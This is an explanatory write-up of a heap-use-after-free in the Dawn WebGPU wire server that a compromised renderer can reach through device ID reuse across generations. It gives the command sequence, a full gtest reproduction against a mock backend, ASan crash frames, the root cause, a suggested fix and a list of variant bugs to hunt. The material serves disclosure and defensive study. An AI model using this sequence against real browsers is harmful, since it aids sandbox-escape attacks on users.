The reproduction is a gtest (a test written with Google's C++ testing framework) inside WireSpecificCommandTests. It runs against the wire layer with a fake backend called ProcTableAsClass instead of a real graphics card, so the test is repeatable on any machine. The precondition for the attack is a compromised renderer: one that an attacker already controls and that can therefore send any Dawn wire command it likes to the server.
Finding it
The researcher read the code that handles RequestDevice on the server, Server::DoAdapterRequestDevice, and looked at how it prepares the uncaptured-error callback. The function reserves a slot in the wire device table and stores device->info.get(), a raw DeviceInfo*, into desc.uncapturedErrorCallbackInfo.userdata2. In plain words: it writes down the address of a bookkeeping record and hands that address to the callback as its userdata.
Later, when an uncaptured error happens, the lambda (an unnamed function defined inline) takes that address back out and reads info->server and info->self straight away. It does not check the generation, does not check who owns the record, and does not check whether the record is still alive. It simply trusts the address.
The completion path is the second half of the problem. When the device request finishes, Server::OnRequestDeviceCallback runs and calls FillReservation(data->deviceObjectId, device, &reservation). That function looks the object up by id alone and checks only that state == Reserved. It never compares the generation. So a completion that belongs to an old request can be matched to a brand new reservation that happens to use the same id. The object table does have a generation check, but this particular path does not use it.
Exploitation
Step 1: request a device with generation G0
The renderer sends RequestDevice(id = X, generation = G0). The server creates a reservation and captures the current DeviceInfo* into the uncaptured-error callback userdata for the backend device that will eventually be produced. The request is now in flight; the completion has not arrived yet.
Step 2: unregister the object before completion
Before that completion arrives, the renderer sends UnregisterObject(Device, X). This destroys the original reservation, and with it the DeviceInfo that the callback userdata points to. The address is now dangling, but backend device A still carries it.
Step 3: request the same id with a higher generation
The renderer sends RequestDevice(id = X, generation = G1 > G0). When the old completion finally arrives, FillReservation finds the reservation by id, sees state == Reserved, and binds backend device A into the new reservation for {X, G1}. Backend device A still carries the uncaptured-error callback userdata captured from the first request: the old, now freed, DeviceInfo*.
Step 4: trigger the uncaptured-error callback
If the uncaptured-error callback is then invoked on backend device A, the server-side lambda reads through the dangling DeviceInfo*. That is the heap-use-after-free.
The report stresses that this is not a made-up sequence: it is real Dawn wire behaviour. A renderer can issue the first RequestDevice, release the original reservation with UnregisterObject(Device, X), and reissue RequestDevice on the same object id with a higher generation before the first completion arrives. That is exactly what creates the stale callback binding.
Reproduction test
The report provides a gtest that drives the whole sequence through the wire client and the mock backend:
TEST_F(WireSpecificCommandTests,
RequestDeviceIdReuseThenUncapturedErrorUsesFreedDeviceInfo) {
auto* clientImpl = GetWireClient()->GetImplForTesting();
auto* wireAdapter = dawn::wire::client::FromAPI(adapter.Get());
const Handle adapterHandle = wireAdapter->GetWireHandle(clientImpl);
const ObjectHandle eventManagerHandle = wireAdapter->GetEventManagerHandle();
const Handle currentDeviceHandle = GetWireClient()->GetWireHandle(device.Get());
const ObjectId reusedObjectId = currentDeviceHandle.id + 1;
static constexpr ObjectGeneration kGenerationA = 1;
static constexpr ObjectGeneration kGenerationB = 2;
WGPUDeviceDescriptor requestDesc = {};
WGPURequestDeviceCallbackInfo callbackA = {};
WGPURequestDeviceCallbackInfo callbackB = {};
WGPUDevice apiDeviceA = api.GetNewDevice();
WGPUDevice apiDeviceB = api.GetNewDevice();
auto captureRequest = [&](WGPUDevice apiDevice, WGPURequestDeviceCallbackInfo* out,
const WGPUDeviceDescriptor* desc,
WGPURequestDeviceCallbackInfo callbackInfo) {
*out = callbackInfo;
auto* object = reinterpret_cast<ProcTableAsClass::Object*>(apiDevice);
object->mUncapturedErrorCallback = desc->uncapturedErrorCallbackInfo.callback;
object->mUncapturedErrorUserdata1 = desc->uncapturedErrorCallbackInfo.userdata1;
object->mUncapturedErrorUserdata2 = desc->uncapturedErrorCallbackInfo.userdata2;
};
EXPECT_CALL(api, OnAdapterRequestDevice(apiAdapter, NotNull(), _))
.WillOnce([&](WGPUAdapter, const WGPUDeviceDescriptor* desc,
WGPURequestDeviceCallbackInfo callbackInfo) {
captureRequest(apiDeviceA, &callbackA, desc, callbackInfo);
});
AdapterRequestDeviceCmd requestA = {};
requestA.adapterId = adapterHandle.id;
requestA.eventManagerHandle = eventManagerHandle;
requestA.future = {101};
requestA.deviceObjectHandle = {reusedObjectId, kGenerationA};
requestA.deviceLostFuture = {201};
requestA.descriptor = &requestDesc;
AddSpecificServerCmd(requestA);
FlushClient();
UnregisterObjectCmd dropA = {};
dropA.objectType = ObjectType::Device;
dropA.objectId = reusedObjectId;
AddSpecificServerCmd(dropA);
FlushClient();
AdapterRequestDeviceCmd requestB = {};
requestB.adapterId = adapterHandle.id;
requestB.eventManagerHandle = eventManagerHandle;
requestB.future = {102};
requestB.deviceObjectHandle = {reusedObjectId, kGenerationB};
requestB.deviceLostFuture = {202};
requestB.descriptor = &requestDesc;
EXPECT_CALL(api, OnAdapterRequestDevice(apiAdapter, NotNull(), _))
.WillOnce([&](WGPUAdapter, const WGPUDeviceDescriptor* desc,
WGPURequestDeviceCallbackInfo callbackInfo) {
captureRequest(apiDeviceB, &callbackB, desc, callbackInfo);
});
AddSpecificServerCmd(requestB);
FlushClient();
ASSERT_NE(callbackA.callback, nullptr);
ASSERT_NE(callbackB.callback, nullptr);
EXPECT_CALL(api, DeviceGetFeatures(apiDeviceA, NotNull()))
.WillOnce(WithArg<1>([](WGPUSupportedFeatures* features) { *features = {}; }));
EXPECT_CALL(api, DeviceGetLimits(apiDeviceA, NotNull()))
.WillOnce(WithArg<1>([](WGPULimits* limits) {
*limits = {};
return WGPUStatus_Success;
}));
EXPECT_CALL(api, OnDeviceSetLoggingCallback(apiDeviceA, _)).Times(1);
callbackA.callback(WGPURequestDeviceStatus_Success, apiDeviceA, kEmptyOutputStringView,
callbackA.userdata1, callbackA.userdata2);
EXPECT_EQ(GetWireServer()->GetDevice(reusedObjectId, kGenerationB), apiDeviceA);
EXPECT_EQ(GetWireServer()->GetDevice(reusedObjectId, kGenerationA), nullptr);
EXPECT_CALL(api, DeviceGetFeatures(apiDeviceB, NotNull()))
.WillOnce(WithArg<1>([](WGPUSupportedFeatures* features) { *features = {}; }));
EXPECT_CALL(api, DeviceGetLimits(apiDeviceB, NotNull()))
.WillOnce(WithArg<1>([](WGPULimits* limits) {
*limits = {};
return WGPUStatus_Success;
}));
EXPECT_CALL(api, DeviceRelease(apiDeviceB)).Times(1);
callbackB.callback(WGPURequestDeviceStatus_Success, apiDeviceB, kEmptyOutputStringView,
callbackB.userdata1, callbackB.userdata2);
api.CallDeviceUncapturedErrorCallback(apiDeviceA, WGPUErrorType_Validation,
ToOutputStringView("repro"));
}
Line by line, in plain words:
TEST_F(WireSpecificCommandTests, ...)declares one test inside theWireSpecificCommandTestsfixture.GetWireClient()->GetImplForTesting()fetches the client-side implementation, the part that packs commands into bytes.FromAPI(adapter.Get())turns the normal WebGPU adapter object into its wire-layer counterpart, so the test can ask for its wire handle.GetWireHandle(clientImpl)returns the handle (id plus generation) that the server uses to name this adapter.GetEventManagerHandle()does the same for the event manager.GetWireHandle(device.Get())gets the handle of the device the fixture already created, andcurrentDeviceHandle.id + 1picks a fresh id one above it. That is the id the test will reuse.kGenerationA = 1andkGenerationB = 2are the two generations. B is higher than A, which is the whole point.captureRequestis a small helper. When the mock backend is asked to create a device, it copies the callback info out of the descriptor and stores the uncaptured-error callback and its two userdata values on the fake device object. This is how the test keeps a copy of the pointer that will later dangle.- The first
EXPECT_CALL(api, OnAdapterRequestDevice(...))says: the next time the backend is asked for a device, run this lambda, which captures the request intoapiDeviceAandcallbackA. requestAis the first command. It names the adapter, the event manager, a future id of 101, the device handle{reusedObjectId, kGenerationA}, a device-lost future of 201, and the descriptor.AddSpecificServerCmdqueues it andFlushClient()sends it to the server.dropAis theUnregisterObjectcommand forObjectType::Deviceon the same id. It is queued and flushed. This is the step that frees theDeviceInfo.requestBis the second request, with future 102, the same id butkGenerationB, and device-lost future 202. A secondEXPECT_CALLcaptures it intoapiDeviceBandcallbackB. Then it is queued and flushed.- The two
ASSERT_NE(..., nullptr)lines check that both callbacks were actually captured; if not, the test stops here. - The
EXPECT_CALLblocks forDeviceGetFeatures,DeviceGetLimitsandOnDeviceSetLoggingCallbacktell the mock what the server will ask for when the first completion is processed, and what to answer. callbackA.callback(...)delivers the first completion, withapiDeviceAas the resulting device. The server bindsapiDeviceAinto the reservation for{reusedObjectId, kGenerationB}.- The two
EXPECT_EQlines are the proof of the stale binding: looking up{reusedObjectId, kGenerationB}returnsapiDeviceA, and looking up{reusedObjectId, kGenerationA}returnsnullptr. The old generation is gone, yet its backend device is now serving the new generation. - The next
EXPECT_CALLblocks do the same preparation for the second completion, andcallbackB.callback(...)delivers it withapiDeviceB. - The final line,
api.CallDeviceUncapturedErrorCallback(apiDeviceA, ...), fires the uncaptured-error callback onapiDeviceA. BecauseapiDeviceAstill holds the userdata from the first request, the server reads the freedDeviceInfoand ASan reports the use-after-free.
Crash
The report records the crash as a heap-use-after-free in the Dawn wire server callback path. The key frames from the ASan output:
==697999==ERROR: AddressSanitizer: heap-use-after-free on address 0x7bc223716f10 at pc
0x558937f1e2cc bp 0x7ffc6f31e290 sp 0x7ffc6f31e288
READ of size 8 at 0x7bc223716f10 thread T0
#0 0x558937f1e2cb in
dawn::wire::server::Server::DoAdapterRequestDevice(...)::$_0::__invoke(WGPUDeviceImpl* const*, WGPUErrorType,
WGPUStringView, void*, void*) base/allocator/partition_allocator/src/partition_alloc/
pointers/raw_ptr.h:1012:48
#1 0x558936340d68 in
ProcTableAsClass::CallDeviceUncapturedErrorCallback(WGPUDeviceImpl*, WGPUErrorType,
WGPUStringView) gen/third_party/dawn/src/dawn/mock_webgpu.cpp:1545:5
What this says: ASan caught a read of 8 bytes at an address that had already been freed. The top frame is the lambda inside Server::DoAdapterRequestDevice, the one that handles the uncaptured error. The frame below it is the mock backend calling that callback. In other words, the crash happens exactly where the analysis predicted.
The allocation and free stacks confirm the lifecycle. The DeviceInfo was allocated in Server::DoAdapterRequestDevice through KnownObjectsBase<WGPUDeviceImpl*>::Allocate, and freed in Server::DoUnregisterObject through HandleCommands. The summary line reads:
Root cause
Two design choices combine to produce the bug.
- The uncaptured-error callback userdata stores a raw
DeviceInfo*, and the lambda readsinfo->serverandinfo->selfwithout revalidating generation, ownership or liveness. - The asynchronous completion path identifies the reservation by
device.idonly.FillReservationchecksstate == Reservedbut not the generation, so a completion for{X, G0}can bind into a reservation created for{X, G1}.
Because UnregisterObject frees the original DeviceInfo while backend device A keeps the old userdata, the callback on device A reads freed memory. The object table's generation check exists, but it is not applied on this completion path, so it does not protect the callback binding.
Impact
The report describes a heap-use-after-free in the Dawn wire server, reachable by a compromised renderer that sends the command sequence above. The severity is high. The report does not describe a specific exploitation primitive beyond the UAF itself, and it does not state which process boundaries or sandbox configurations are affected beyond the renderer-to-server command path.
Fix
The report does not describe a fix or a patch. Based on the analysis, the natural place to address it is to make the completion path generation-aware (validate the generation in FillReservation, or track generation alongside device.id) and to avoid storing a raw DeviceInfo* in callback userdata without a liveness check.
Variants to test
- Other async object creations with id reuse. Look for other
Request*orCreate*commands whose completion is matched by id only. A positive result is a completion binding into a reservation created with a different generation. - Other callbacks holding raw pointers in userdata. Search for
userdata2(or similar) fields that storeinfo.get()or another raw pointer and are dereferenced later. A positive result is a callback firing after the owning object was unregistered. - Unregister during in-flight completion. Try
UnregisterObjecton other object types (adapters, queues, buffers) between request and completion. A positive result is a stale backend object bound to a new reservation. - Generation wraparound and reuse. Reuse the same id with several generations in sequence while completions are pending. A positive result is any completion that lands on the wrong generation.
- Error-path callbacks. Trigger validation errors on a device whose
DeviceInfowas freed through id reuse. A positive result is an ASan report in the callback lambda rather than in normal command handling.
Glossary
- API: a fixed set of commands one program offers to another, like a menu you can order from.
- AddressSanitizer (ASan): a debugging tool that detects reads and writes to memory that has already been freed.
- Asynchronous: work that finishes later, after the request returns, with a completion message arriving in between.
- Backend: the real implementation behind an interface. Here, the code that would talk to the GPU, replaced by a mock in the test.
- Callback: a function handed to another piece of code to be called when something happens.
- Client and server (wire layer): the two sides of the serialised command stream. The renderer is the client, the GPU process is the server.
- Compromised renderer: a renderer process that an attacker already controls and can make send arbitrary commands.
- CVE: a public identifier for a known security vulnerability.
- Dangling pointer: a pointer to memory that has been freed. Reading through it is undefined behaviour.
- Dawn: Chromium's implementation of WebGPU, including the wire layer that carries commands between processes.
- DeviceInfo: the server-side bookkeeping record for a device, holding pointers such as
serverandself. - FillReservation: the server function that matches a completion to a reserved object slot. In this bug it matches by id only.
- Generation: a version counter attached to an object id, so a reused id is treated as a different object.
- gtest: Google's C++ testing framework, used to write the reproduction test.
- Handle: the pair of id and generation that names an object in the wire protocol.
- Heap-use-after-free: a bug where memory is freed and then read or written through a pointer that still refers to it.
- Lambda: an unnamed function defined inline in C++.
- Mock backend: a fake implementation used in tests that records calls and returns canned answers instead of touching real hardware.
- Object id: the number that names an object in the server's table.
- Pointer: a memory address that says where data lives.
- Process: a running program with its own private memory, isolated from other processes.
- Raw pointer: a plain memory address with no ownership or lifetime tracking attached.
- Renderer: the browser process that turns web pages into what you see, and is treated as untrusted.
- RequestDevice: the WebGPU command that asks for a device to be created.
- Reservation: a placeholder slot in the server's object table, waiting for an asynchronous request to complete.
- Sandbox: an isolation mechanism that limits what an untrusted process can do.
- Serialised command stream: commands written as bytes on one side and read back on the other.
- Uncaptured-error callback: the function called when the GPU reports an error that nothing else handled.
- UnregisterObject: the command that removes an object from the server's table and frees its bookkeeping record.
- Userdata: an extra value attached to a callback so it knows which object it belongs to.
- WebGPU: the browser API for using the graphics card from a web page.
- Wire layer: the part of Dawn that packs and unpacks commands between processes.